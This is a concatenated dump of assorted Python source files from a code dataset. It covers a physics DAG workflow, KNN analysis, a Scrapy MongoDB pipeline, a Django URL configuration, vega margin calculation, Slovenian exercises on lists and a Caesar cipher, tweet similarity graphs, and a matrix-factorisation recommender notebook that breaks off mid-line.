import prepare, download, rivet, pythia, plotting, mcviz\n\nimport logging\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger(__name__)\n@adageop\ndef node_done(adageobj,nodename):\n #we can only run pythia once the donwload is done and we know hoe many LHE files we have\n download_node = adageobj.dag.getNodeByName(nodename)\n if download_node:\n return adage.dagstate.node_status(download_node)\n return False\n\n@adageop\ndef schedule_pythia(adageobj):\n\n download_node = adageobj.dag.getNodeByName('download')\n lhefiles = download_node.result\n\n #let's run pythia on these LHE files\n pythia_nodes = [adageobj.dag.addTask(pythia.s(lhefilename = lhe),nodename = 'pythia', depends_on = [download_node]) for lhe in lhefiles]\n\n # we already know what the pythia result will look like so we don't need to wait for the nodes to run\n # to schedule them\n hepmcfiles = [x.rsplit('.lhe')[0]+'.hepmc' for x in lhefiles]\n\n adageobj.dag.addTask(mcviz.s(hepmcfile = hepmcfiles[0]),nodename = 'mcviz', depends_on = pythia_nodes[0:1])\n\n #Rivet and then produce some plots.\n rivet_node = adageobj.dag.addTask(rivet.s(workdir = 'here', hepmcfiles = hepmcfiles), nodename = 'rivet', depends_on = pythia_nodes)\n adageobj.dag.addTask(plotting.s(workdir = 'here', yodafile = 'Rivet.yoda'),nodename = 'plotting', depends_on = [rivet_node])\n\ndef build_initial_dag():\n adageobj = adage.adageobject()\n\n prepare_node = adageobj.dag.addTask(prepare.s(workdir = 'here'), nodename = 'prepare')\n adageobj.dag.addTask(download.s(workdir = 'here'), depends_on = [prepare_node], nodename = 'download')\n\n #possible syntax that could be nice using partial function execution\n # download_node = do(download.s(workdir = 'here'), depends_on = [prepare_node], nodename = 'download')\n\n adageobj.rules = [ Rule(node_done.s(nodename = 'download'), schedule_pythia.s()) ]\n return adageobj\n\ndef talkative_decider():\n log.info('ok we started and are now waiting for our first data')\n data = yield\n while True:\n log.info('we received some new data: %s and we will make a decision now',data)\n value = True\n log.info('ok.. decision reached.. yielding with this decision %s',value)\n data = yield value\n\ndef main():\n adageobj = build_initial_dag()\n t = talkative_decider()\n t.next()\n\n adage.rundag(adageobj, default_trackers = True, trackevery = 5, maxsteps = 1, update_interval = 5)\n\nif __name__=='__main__':\n main()\n","sub_path":"examples/physicsexample.py","file_name":"physicsexample.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"401113818","text":"from collections import defaultdict as DefaultDict\nimport os\n\n\ndef finder(paths, queries):\n\n # map bases to paths, allowing duplicates\n base_to_paths_map = DefaultDict(list)\n for p in paths:\n b = os.path.basename(p)\n base_to_paths_map[b].append(p)\n\n # find paths matching queries\n matches = []\n for q in queries:\n if q in base_to_paths_map:\n matches.extend(base_to_paths_map[q])\n\n return matches\n\n\nif __name__ == \"__main__\":\n files = [\n \"/bin/foo\",\n \"/bin/bar\",\n \"/usr/bin/baz\",\n ]\n queries = [\n \"foo\",\n \"qux\",\n \"baz\",\n ]\n print(finder(files, queries))\n","sub_path":"hashtables/ex5/ex5.py","file_name":"ex5.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"116191566","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport pymongo\n\nconn = pymongo.MongoClient('127.0.0.1', 27017)\n\nclass LianjiaPipeline(object):\n def process_item(self, item, spider):\n db = conn.lianjia\n db.lianjia.insert({\n\n 'block_name' : item['block_name'],\n 'address' : item['address'],\n 'scale' : item['scale'],\n 'area' : item['area'],\n 'direction' : item['direction'],\n 'height' : item['height'],\n 'follow' : item['follow'],\n 'see_times' : item['see_times'],\n 'price' : item['price'],\n 'per_price' : item['per_price'],\n\n })\n return item\n\n\n\n\n","sub_path":"LianJia/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"531843346","text":"# python3\n# coding: utf-8\n\n\"\"\"\nCS7641 - Assignment 1 K-Nearest Neighbors Analysis\n\nMike Tong\n\n\nCreated: JAN 2019\n\"\"\"\n\n\nfrom collections import defaultdict\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import accuracy_score, f1_score\n\nfrom ancillary import measure_execution_time, prep_data_for_clf, plot_learning_curve\n\nclass KNNC_Analysis(object):\n def __init__(self, dataset, target, save=False, random_state=7308):\n self.data = dataset\n self.target = target\n self.save = save\n self.random = random_state\n\n def general_analysis(self):\n print(\"\\n######\")\n print(\"KNN Classifier:\")\n print(\"Default Baseline values (5 neighbors)\")\n\n clf = KNeighborsClassifier(n_jobs=-1)\n plot_learning_curve(clf, '{} KNN Learning Curve (uniform)'.format(\n self.data.index.name), self.data, self.target, cv=5, scale=True)\n\n clf = KNeighborsClassifier(weights='distance', n_jobs=-1)\n plot_learning_curve(clf, '{} KNN Learning Curve (distance)'.format(\n self.data.index.name), self.data, self.target, cv=5, scale=True)\n\n print(\"\\n~~~~~~\")\n print(\"Execution time metrics\")\n X_train, X_test, y_train, y_test = prep_data_for_clf(self.data,\n self.target, random_state=self.random)\n\n sclr = StandardScaler()\n sclr.fit(X_train.astype('float'))\n X_train_std = sclr.transform(X_train.astype('float'))\n X_test_std = sclr.transform(X_test.astype('float'))\n\n training_time, testing_time = measure_execution_time(clf,\n pd.concat([pd.DataFrame(X_train_std), pd.DataFrame(X_test_std)]), pd.concat([y_train, y_test])\n )\n print(\"Training time input dim of {} : {:.4f} (+/- {:.4f})\".format(\n X_train.shape, np.mean(training_time), np.std(training_time))\n )\n print(\"Testing time input dim of {}: {:.4f} (+/- {:.4f})\".format(\n X_test.shape, np.mean(testing_time), np.std(testing_time))\n )\n\n for w in ['uniform', 'distance']:\n print(\"\\n~~~~~~\")\n print('{} weights:'.format(w.capitalize()))\n clf = KNeighborsClassifier(weights=w, n_jobs=-1)\n scores = cross_val_score(clf,\n pd.concat([pd.DataFrame(X_train_std), pd.DataFrame(X_test_std)]), pd.concat([y_train, y_test]),\n cv=10, n_jobs=-1)\n print(\"10 Fold Cross Validation Accuracy: {:.4f} (+/- {:.4f})\".format(\n scores.mean(), scores.std() * 2))\n\n clf.fit(X_train_std, y_train)\n preds_train = clf.predict(X_train_std)\n preds_test = clf.predict(X_test_std)\n print(\"Training Accuracy:\",\n accuracy_score(y_true=y_train, y_pred=preds_train))\n print(\"Training F1:\",\n f1_score(y_true=y_train, y_pred=preds_train, average='weighted'))\n print(\"Testing Accuracy:\",\n accuracy_score(y_true=y_test, y_pred=preds_test))\n print(\"Testing F1:\",\n f1_score(y_true=y_test, y_pred=preds_test, average='weighted'))\n\n print(\"~~~~~~\\n\")\n\n def n_neighbors_analysis(self, range_=range(1,50)):\n print(\"\\n######\")\n print(\"Testing different neighbor values\")\n metrics = defaultdict(list)\n X_train, X_test, y_train, y_test = prep_data_for_clf(\n self.data, self.target, random_state=self.random)\n\n sclr = StandardScaler()\n sclr.fit(X_train.astype('float'))\n X_train_std = sclr.transform(X_train.astype('float'))\n X_test_std = sclr.transform(X_test.astype('float'))\n\n for n in range_:\n clf = KNeighborsClassifier(n_neighbors=n, n_jobs=-1)\n clf.fit(X_train_std, y_train)\n metrics['train_acc_uniform'].append(\n clf.score(X_train_std, y_train)\n )\n metrics['test_acc_uniform'].append(\n clf.score(X_test_std, y_test)\n )\n\n clf = KNeighborsClassifier(n_neighbors=n, weights=\"distance\", n_jobs=-1)\n clf.fit(X_train_std, y_train)\n metrics['train_acc_distance'].append(\n clf.score(X_train_std, y_train)\n )\n metrics['test_acc_distance'].append(\n clf.score(X_test_std, y_test)\n )\n\n for m in metrics.values():\n plt.plot(range_, m, 'o-')\n\n plt.legend([i for i in metrics], ncol=1, loc='best')\n plt.xlabel('Number of Neighbors')\n plt.ylabel('Accuracy scores (weighted)')\n plt.title('Accuracy scores of Train and Test for {}'.format(\n self.data.index.name))\n plt.show()\n\n optimal_weight = np.argmax(np.max(list(metrics.values()), axis=1))\n self.optimal_weight = [i.split('_')[-1] for i in metrics][optimal_weight]\n self.optimal_n = np.argmax(list(metrics.values())[optimal_weight])\n\n print(\"Better weight metric is:\", self.optimal_weight)\n print(\"Updated Learning Curves:\")\n clf = KNeighborsClassifier(n_neighbors=self.optimal_n, weights=self.optimal_weight, n_jobs=-1)\n plot_learning_curve(clf, '{} KNN Learning Curve (distance)'.format(\n self.data.index.name), self.data, self.target, cv=5)\n\n if self.save:\n pd.DataFrame(metrics, index=range_).to_csv(\"./results/KNN/{}_KNN_neighbor_analysis.csv\".format(\n self.data.index.name))\n\n return metrics\n","sub_path":"assignments/assignment_1-Classification/submission/knn_analysis.py","file_name":"knn_analysis.py","file_ext":"py","file_size_in_byte":5659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"134025153","text":"from django.urls import path\nfrom todo import views\n\n\napp_name = 'todo'\nurlpatterns = [\n path('', views.current_todos, name='current-todos'),\n path('completed/', views.completed_todos, name='completed-todos'),\n path('create/', views.create_todo, name='create-todo'),\n path('/', views.view_todo, name='view-todo'),\n path('/complete/', views.complete_todo, name='complete-todo'),\n path('/delete/', views.delete_todo, name='delete-todo'),\n]","sub_path":"main-app/todo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"226486154","text":"import numpy as np\nimport pandas as pd\nimport os\nimport logging\nimport math\nfrom margin_lib import Margin\nfrom scipy.stats import norm\n\n##############################\n# Setup Logging Configuration\n##############################\nlogger = logging.getLogger(os.path.basename(__file__))\nif not len(logger.handlers):\n logger.setLevel(logging.DEBUG)\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(asctime)s|%(name)s === %(message)s ===', datefmt='%Y-%m-%d %I:%M:%S')\n ch.setFormatter(formatter)\n logger.addHandler(ch)\n\n file_handler = logging.FileHandler('log.txt')\n file_handler.setFormatter(formatter)\n file_handler.setLevel(logging.DEBUG)\n logger.addHandler(file_handler)\n###############################\n\nclass VegaMargin(Margin):\n\n def __init__(self):\n Margin.__init__(self, 'Vega')\n\n def change_FX_ticker_order(self, gp):\n curr1 = gp['Qualifier'][0:3]\n curr2 = gp['Qualifier'][3:6]\n\n curr_pair = set([curr1, curr2])\n curr_pair = \"\".join(curr_pair)\n\n gp['Qualifier'] = curr_pair\n\n return gp\n\n def net_sensitivities(self, pos, params):\n risk_class = pos.RiskClass.unique()[0]\n\n if risk_class == 'IR':\n factor_group = ['ProductClass', 'RiskType', 'Qualifier', 'Label1', 'RiskClass']\n elif risk_class == 'FX':\n pos = pos.apply(self.change_FX_ticker_order, axis=1)\n factor_group = ['ProductClass', 'RiskType', 'Qualifier', 'Label1', 'RiskClass']\n elif risk_class in ['CreditQ', 'CreditNonQ', 'Equity', 'Commodity']:\n factor_group = ['ProductClass', 'RiskType', 'Qualifier', 'Bucket', 'Label1', 'RiskClass']\n\n pos_gp = pos.groupby(factor_group)\n pos_vega = pos_gp.agg({'AmountUSD': np.sum})\n pos_vega.reset_index(inplace=True)\n\n #should separate FX and Comdty/Equity, the latter two uses different weight per bucket\n if risk_class == 'FX':\n pos_vega['AmountUSD'] = pos_vega['AmountUSD'] * params.FX_Weights * math.sqrt(365.0 / 14) / norm.ppf(0.99)\n\n elif risk_class in ['Equity', 'Commodity']:\n weights = params.Commdty_Weights\n bucket = pd.DataFrame(pos_vega.Bucket.as_matrix(), columns =['bucket'])\n RW = pd.merge(bucket, weights, lef_on=['bucket'], right_on=['bucket'], how='inner')\n pos_vega['AmountUSD'] = pos_vega['AmountUSD'] * RW.weight * math.sqrt(365.0 / 14) / norm.ppf(0.99)\n\n #for Equity, FX and Comdty vega should sum over tenor j (Label 1) to get VR input\n if risk_class in ['Equity', 'Commodity']:\n pos_vega_gp = pos_vega.groupby['ProductClass', 'RiskType', 'Qualifier', 'Bucket', 'RiskClass'].agg({'AmountUSD': np.sum})\n pos_vega.gp.reset_index(inplace=True)\n elif risk_class == 'FX':\n pos_vega_gp = pos_vega.groupby['ProductClass', 'RiskType', 'Qualifier', 'RiskClass'].agg({'AmountUSD': np.sum})\n pos_vega.gp.reset_index(inplace=True)\n else:\n pos_vega_gp = pos_vega.copy()\n\n return pos_vega_gp\n\n def find_factor_idx(self, tenor_factor, tenors):\n idx = 0\n\n for tenor in tenors:\n if tenor_factor == tenor:\n return idx\n else:\n idx = idx + 1\n\n return -1\n\n def build_risk_factors(self, pos_gp, params):\n\n risk_class = pos_gp.RiskClass.unique()[0]\n\n if risk_class == 'IR':\n s = np.zeros(len(params.IR_Tenor))\n\n for i, row in pos_gp.iterrows():\n idx = self.find_factor_idx(row['Label1'], params.IR_Tenor)\n if idx >= 0:\n s[idx] = row['AmountUSD']\n else:\n #Equity, FX and Comdty should not have tenors in risk factors, removing for Credit as well but should modify later\n #if risk_class == 'CreditQ':\n # tenors = params.CreditQ_Tenor\n # elif risk_class == 'Equity':\n # tenors = params.Equity_Tenor\n # elif risk_class == 'Commodity':\n # tenors = params.Commodity_Tenor\n # elif risk_class == 'FX':\n # tenors = params.FX_Tenor\n\n # s = np.zeros(pos_gp.Qualifier.nunique() * len(tenors))\n #\n # for j in range(pos_gp.Qualifier.nunique()):\n # pos_gp_qualifier = pos_gp[pos_gp.Qualifier == pos_gp.sort_values(['Qualifier']).Qualifier.unique()[j]].copy()\n #\n # for i, row in pos_gp_qualifier.iterrows():\n # idx = self.find_factor_idx(row['Label1'], tenors)\n # if idx >= 0:\n # s[idx + j * len(tenors)] = row['AmountUSD']\n s = np.zeros(pos_gp.Qualifier.nunique())\n idx = 0\n for j in range(pos_gp.Qualifier.nunique()):\n pos_gp_qualifier = pos_gp[pos_gp.Qualifier == pos_gp.sort_values(['Qualifier']).Qualifier.unique()[j]].copy()\n\n for i, row in pos_gp_qualifier.iterrows():\n if idx >= 0:\n s[idx] = row['AmountUSD']\n idx= idx + 1\n return s\n\n def build_risk_weights(self, pos_gp, params):\n risk_class = pos_gp.RiskClass.unique()[0]\n\n if risk_class == 'IR':\n VRW = params.IR_VRW\n elif risk_class == 'CreditQ':\n VRW = params.CreditQ_VRW\n elif risk_class == 'CreditNonQ':\n VRW = params.CreditNonQ_VRW\n elif risk_class == 'Equity':\n VRW = params.Equity_VRW\n elif risk_class == 'Commodity':\n VRW = params.Commodity_VRW\n elif risk_class == 'FX':\n VRW = params.FX_VRW\n\n return VRW\n\n def margin_risk_group(self, gp, params):\n\n risk_class = gp.RiskClass.unique()[0]\n\n if risk_class in ['IR', 'FX']:\n logger.info('Calculate {0} Vega Margin for {1}'.format(risk_class, gp.Qualifier.unique()))\n else:\n logger.info('Calculate {0} Vega Margin for {1}'.format(risk_class, gp.Bucket.unique()))\n\n s = self.build_risk_factors(gp, params)\n RW = self.build_risk_weights(gp, params)\n CR = self.build_concentration_risk(gp, params)\n\n WS = RW * s * CR\n\n Corr = self.build_in_bucket_correlation(gp, params)\n\n K = np.mat(WS) * np.mat(Corr) * np.mat(np.reshape(WS, (len(WS), 1)))\n K = math.sqrt(K.item(0))\n\n ret = gp[['ProductClass', 'RiskType', 'RiskClass']].copy()\n ret.drop_duplicates(inplace=True)\n ret['K'] = K\n ret['S'] = max(min(WS.sum(), K), -K)\n\n if risk_class == 'IR':\n ret['CR'] = CR\n else:\n ret['CR'] = CR[0]\n\n if risk_class == 'IR':\n ret['Group'] = gp['Qualifier'].unique()[0]\n elif risk_class == 'FX':\n ret['Group'] = gp['RiskType'].unique()[0]\n else:\n ret['Group'] = gp['Bucket'].unique()[0]\n\n return ret\n\n\n\n","sub_path":"vega_margin.py","file_name":"vega_margin.py","file_ext":"py","file_size_in_byte":6978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"315204671","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib.image as mpimg\n\nfrom copy import copy\n\nimg = mpimg.imread(\"colorful.png\")\nimg_red = copy(img)\nimg_green = copy(img)\nimg_blue = copy(img)\n\nimg_red[:,:,[1,2]] = 0\nimg_green[:,:,[0,2]] = 0\nimg_blue[:,:,[0,1]] = 0\n\nplt.figure(num=None, figsize=(20,6), dpi=80, facecolor='w', edgecolor='k')\nplt.suptitle(\"colorful RGB\", fontsize=18)\n\nplt.subplot(1,4,1)\nplt.imshow(img)\n\nplt.subplot(1,4,2)\nplt.imshow(img_red)\n\nplt.subplot(1,4,3)\nplt.imshow(img_green)\n\nplt.subplot(1,4,4)\nplt.imshow(img_blue)\n\nplt.tight_layout()\nplt.show()\n","sub_path":"color_channel.py","file_name":"color_channel.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"232006138","text":"# Trying to have basic data processing over a tuple\nfrom serialize import MySerializer\n\n\nclass MyRootModel(MySerializer):\n '''\n Creating a class that parses desired data form dataset:\n\n Can run MyRootModel(**dict) and will only take values with an_attr\n and another_attr.\n\n an_attr should be type \n another_attr should be type \n '''\n my_attrs = {'an_attr': int, 'another_attr': str}\n\n def __init__(self, **kwargs):\n for k,v in self.my_attrs.items():\n #Iterating over object\n\n print('These are my keys: {}'.format(k))\n print('These are my values: {}'.format(v))\n\n #pass the value into v(a function)\n val_type = v(kwargs.get(k))\n # converting kwargs to interger or string\n\n setattr(self, k, val_type)\n # setting the attribute k as the val_type\n print(k, val_type)\n\n\n# a = dict(\n# an_attr = 3,\n# another_attr = 'stringgy'\n# )\n\n# MyRootModel()\n\n\n\n # for each attr in my_attrs, set\n # self.attr from kwargs\n # can iterate over which\n # kwargs will be dict, ie:\n # { 'an_attr': 'I am an attr',\n # 'another_attr': 6,\n # 'a_third_attr': 'I should not exist'}\n # coercing types: make sure that interger returns interger\n\n\n\n","sub_path":"c3_advanced_python/assignment_3/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"627671117","text":"\"\"\"\nNaloga: \nUstvarite funkcijo, ki kot parametra vzeme list številk in neko število m, ki predstavlja zgornjo mejo.\n\nFunkcija naj se sprehodi skozi podan list in vsako število, ki je večje od m, spremeni v m.\n\nFunkcija naj na koncu vrne spremenjen list.\n\nPrimeri:\n\nInput:\nfunkcija([1,12,-3,54,12,-22,65,32], 33)\n\nOutput:\n[1, 12, -3, 33, 12, -22, 33, 32]\n\"\"\"\n# Rešitev\n\n\n\"\"\"\nNaloga: \nUstvarite funkcijo, ki prejme list cen v $ in valuto v katero naj spremeni cene.\n\nFunkcija naj odstrani $ in nepotrebne presledke in naj na koncu cene doda podano valuto (ni potrebno računati pravilen menjalni tečaj).\n\nPosodobljene cene naj funkcija vrne.\n\nPrimeri:\n\nInput:\nprices = [\"$53\", \"$ 120\", \"$ 1222\", \"$$342\", \" $ 91\", \" $ 51\", \"39$\"]\nfunkcija(prices, \"€\")\n\nOutput:\n['53€', '120€', '1222€', '342€', '91€', '51€', '39€']\n\n​\"\"\"\n# Rešitev\nprices = [\"$53\", \"$ 120\", \"$ 1222\", \"$$342\", \" $ 91\", \" $ 51\", \"39$\"]\n\n\n\"\"\"\nNaloga: \nUstvarite dve funkciji, ki bosta delovali kot \"Cesar's cipher\".\nCesar's encryption si lahko predstavljamo tako, da položimo dve abecedi eno na drugo, kjer je ena zamaknjena za določeno število črk. V danem primeru imamo zamik v desno za 3 črke.\n\nPlain\tA\tB\tC\tD\tE\tF\tG\tH\tI\tJ\tK\tL\tM\tN\tO\tP\tQ\tR\tS\tT\tU\tV\tW\tX\tY\tZ\nCipher\tX\tY\tZ\tA\tB\tC\tD\tE\tF\tG\tH\tI\tJ\tK\tL\tM\tN\tO\tP\tQ\tR\tS\tT\tU\tV\tW\nKo besedilo kriptiramo pogledamo črko našega sporočila v \"plain\" delu naše tabele in vzamemo črko, ki se nahaja pod njo v \"cipher\" delu.\n\nPRIMER:\nPlaintext: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG\nCiphertext: QEB NRFZH YOLTK CLU GRJMP LSBO QEB IXWV ALD\nPrva funkcija naj bo imenovana cesars_encryption. Ima dva parametra. Prvi parameter je besedilo katerega želimo ekriptirati. Drugi parameter je številka, ki nam pove za koliko zamaknemo drugo abecedo. Default vrednost naj bo 3. Funkcija naj vrne ekriptirano sporočilo.\n\n\nDruga funkcija naj bo imenovana cesars_decryption. Ima dva parametra. Prvi parameter je kriptirano sporočilo. Drugi parameter je številka, ki nam pove za koliko zamaknemo drugo abecedo. Default vrednost naj bo 3. Funkcija naj vrne dekriptirano sporočilo.\n\nPrimeri:\n\nInput:\nmessage = \"THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG\"\ncesars_encryption(message)\n\nOutput:\nQEB NRFZH YOLTK CLU GRJMP LSBO QEB IXWV ALD\n\n\nInput:\ncode = \"QEB NRFZH YOLTK CLU GRJMP LSBO QEB IXWV ALD\"\ncesars_decryption(code)\n\nOutput:\nTHE QUICK BROWN FOX JUMPS OVER THE LAZY DOG\n\n\nInput:\nmessage2 = \"ATTACK AT DAWN\"\ncesars_encryption(message2, 7)\n\nOutput:\nTMMTVD TM WTPG\n\"\"\"\n# Rešitev\nmessage = \"THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG\"\nmessage2 = \"ATTACK AT DAWN\"\n","sub_path":"Arhiv/2020/06_Funkcije/DN/06_DN_CLEAN.py","file_name":"06_DN_CLEAN.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"118860636","text":"from nltk.stem.snowball import SnowballStemmer\nimport json\nimport logging\nimport networkx as nx\nimport nltk\n\nlogger = logging.getLogger(__name__)\n\nclass Tweet:\n\n stemmer = SnowballStemmer(\"english\")\n \n def __init__(self, id, text, in_reply_to, db_id):\n assert type(id) == int and (type(in_reply_to) == int or in_reply_to is None)\n self.id = id\n self.text = text\n self.normalized_tokens = self.normalize(text)\n self.in_reply_to = in_reply_to\n self.db_id = db_id\n\n def normalize(self, text):\n tokens = nltk.tokenize.word_tokenize(text)\n tokens = [Tweet.stemmer.stem(t.lower()) for t in tokens]\n return tokens\n\nclass Tweets(dict):\n\n def __init__(self, json_file_path):\n super(dict, self).__init__()\n with open(json_file_path) as json_file:\n tweets_list = json.load(json_file)\n for tweet in tweets_list:\n in_reply_to = tweet['in_reply_to_status_id_str']\n if in_reply_to != 'None':\n self[int(tweet['tweet_id'])] = Tweet(int(tweet['tweet_id']), tweet['text'], int(tweet['in_reply_to_status_id_str']), tweet['id'])\n else:\n self[int(tweet['tweet_id'])] = Tweet(int(tweet['tweet_id']), tweet['text'], None, tweet['id'])\n\nclass FeatureGraph(nx.DiGraph):\n\n def __init__(self, tweets):\n super(FeatureGraph, self).__init__()\n for tweet in tweets.values():\n self.add_node(tweet.id)\n\nclass TextSimilarityFeatureGraph(FeatureGraph):\n\n def __init__(self, tweets):\n super(TextSimilarityFeatureGraph, self).__init__(tweets)\n for first_tweet in tweets.values():\n for second_tweet in tweets.values():\n self.add_edge(first_tweet.id, second_tweet.id, weight=TextSimilarityFeatureGraph.similarity(first_tweet, second_tweet))\n \n @classmethod\n def similarity(cls, some_tweet, another_tweet):\n some_tweet = set(some_tweet.normalized_tokens)\n another_tweet = set(another_tweet.normalized_tokens)\n return len(some_tweet.intersection(another_tweet)) / len(some_tweet.union(another_tweet))\n\nclass ReplyRelationFeatureGraph(FeatureGraph):\n \n def __init__(self, tweets):\n super(ReplyRelationFeatureGraph, self).__init__(tweets)\n for first_tweet in tweets.values():\n for second_tweet in tweets.values():\n if first_tweet.in_reply_to == second_tweet.id:\n self.add_edge(first_tweet.id, second_tweet.id)\n","sub_path":"TweetRank/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"182151021","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### 경사하강을 이용한 행렬 분해\n\n# **원본 행렬 R 및 R을 분해할 P와 Q를 임의의 정규분포를 가진 랜덤값으로 초기화**\n\n# In[1]:\n\n\nimport numpy as np\n\n# 원본 행렬 R 생성, 분해 행렬 P와 Q 초기화, 잠재요인 차원 K는 3 설정. \nR = np.array([[4, np.NaN, np.NaN, 2, np.NaN ],\n [np.NaN, 5, np.NaN, 3, 1 ],\n [np.NaN, np.NaN, 3, 4, 4 ],\n [5, 2, 1, 2, np.NaN ]])\n\nnum_users, num_items = R.shape\nK=3\n\n# P와 Q 매트릭스의 크기를 지정하고 정규분포를 가진 random한 값으로 입력합니다. \nnp.random.seed(1)\nP = np.random.normal(scale=1./K, size=(num_users, K))\nQ = np.random.normal(scale=1./K, size=(num_items, K))\nprint(\"P:\",P)\nprint(\"Q:\",Q)\n\n\n# **비용계산 함수를 생성. 분해된 행렬 P와 Q.T를 내적하여 예측 행렬 생성하고**\n# \n# **실제 행렬에서 널이 아닌 값의 위치에 있는 값만 예측 행렬의 값과 비교하여 RMSE값을 계산하고 반환**\n\n# In[2]:\n\n\nfrom sklearn.metrics import mean_squared_error\n\ndef get_rmse(R, P, Q, non_zeros):\n error = 0\n # 두개의 분해된 행렬 P와 Q.T의 내적으로 예측 R 행렬 생성\n full_pred_matrix = np.dot(P, Q.T)\n \n # 실제 R 행렬에서 널이 아닌 값의 위치 인덱스 추출하여 실제 R 행렬과 예측 행렬의 RMSE 추출\n x_non_zero_ind = [non_zero[0] for non_zero in non_zeros]\n y_non_zero_ind = [non_zero[1] for non_zero in non_zeros]\n R_non_zeros = R[x_non_zero_ind, y_non_zero_ind]\n full_pred_matrix_non_zeros = full_pred_matrix[x_non_zero_ind, y_non_zero_ind]\n \n mse = mean_squared_error(R_non_zeros, full_pred_matrix_non_zeros)\n rmse = np.sqrt(mse)\n \n return rmse\n\n\n# **경사하강법에 기반하여 P와 Q의 원소들을 업데이트 수행**\n# ![](./sgd.png)\n\n# In[3]:\n\n\n# R > 0 인 행 위치, 열 위치, 값을 non_zeros 리스트에 저장. \nnon_zeros = [ (i, j, R[i,j]) for i in range(num_users) for j in range(num_items) if R[i,j] > 0 ]\n\nsteps=1000\nlearning_rate=0.01\nr_lambda=0.01\n\n# SGD 기법으로 P와 Q 매트릭스를 계속 업데이트. \nfor step in range(steps):\n for i, j, r in non_zeros:\n # 실제 값과 예측 값의 차이인 오류 값 구함\n eij = r - np.dot(P[i, :], Q[j, :].T)\n # Regularization을 반영한 SGD 업데이트 공식 적용\n P[i,:] = P[i,:] + learning_rate*(eij * Q[j, :] - r_lambda*P[i,:])\n Q[j,:] = Q[j,:] + learning_rate*(eij * P[i, :] - r_lambda*Q[j,:])\n\n rmse = get_rmse(R, P, Q, non_zeros)\n if (step % 50) == 0 :\n print(\"### iteration step : \", step,\" rmse : \", rmse)\n\n\n# In[4]:\n\n\npred_matrix = np.dot(P, Q.T)\nprint('예측 행렬:\\n', np.round(pred_matrix, 3))\n\n\n# In[ ]:\n\n\nR = np.array([[4, np.NaN, np.NaN, 2, np.NaN ],\n [np.NaN, 5, np.NaN, 3, 1 ],\n [np.NaN, np.NaN, 3, 4, 4 ],\n [5, 2, 1, 2, np.NaN ]])\n\n\n# In[ ]:\n\n\n\n\n\n# ### 행렬 분해 기반의 잠재 요인 협업 필터링 실습\n# \n# **경사하강법 기반의 행렬 분해 함수 생성**\n\n# In[5]:\n\n\ndef matrix_factorization(R, K, steps=200, learning_rate=0.01, r_lambda = 0.01):\n num_users, num_items = R.shape\n # P와 Q 매트릭스의 크기를 지정하고 정규분포를 가진 랜덤한 값으로 입력합니다. \n np.random.seed(1)\n P = np.random.normal(scale=1./K, size=(num_users, K))\n Q = np.random.normal(scale=1./K, size=(num_items, K))\n\n break_count = 0\n \n # R > 0 인 행 위치, 열 위치, 값을 non_zeros 리스트 객체에 저장. \n non_zeros = [ (i, j, R[i,j]) for i in range(num_users) for j in range(num_items) if R[i,j] > 0 ]\n \n # SGD기법으로 P와 Q 매트릭스를 계속 업데이트. \n for step in range(steps):\n for i, j, r in non_zeros:\n # 실제 값과 예측 값의 차이인 오류 값 구함\n eij = r - np.dot(P[i, :], Q[j, :].T)\n # Regularization을 반영한 SGD 업데이트 공식 적용\n P[i,:] = P[i,:] + learning_rate*(eij * Q[j, :] - r_lambda*P[i,:])\n Q[j,:] = Q[j,:] + learning_rate*(eij * P[i, :] - r_lambda*Q[j,:])\n \n rmse = get_rmse(R, P, Q, non_zeros)\n if (step % 10) == 0 :\n print(\"### iteration step : \", step,\" rmse : \", rmse)\n \n return P, Q\n\n\n# In[6]:\n\n\nimport pandas as pd\nimport numpy as np\n\nmovies = pd.read_csv('./ml-latest-small/movies.csv')\nratings = pd.read_csv('./ml-latest-small/ratings.csv')\nratings = ratings[['userId', 'movieId', 'rating']]\nratings_matrix = ratings.pivot_table('rating', index='userId', columns='movieId')\n\n# title 컬럼을 얻기 이해 movies 와 조인 수행\nrating_movies = pd.merge(ratings, movies, on='movieId')\n\n# columns='title' 로 title 컬럼으로 pivot 수행. \nratings_matrix = rating_movies.pivot_table('rating', index='userId', columns='title')\n\n\n# In[7]:\n\n\nP, Q = 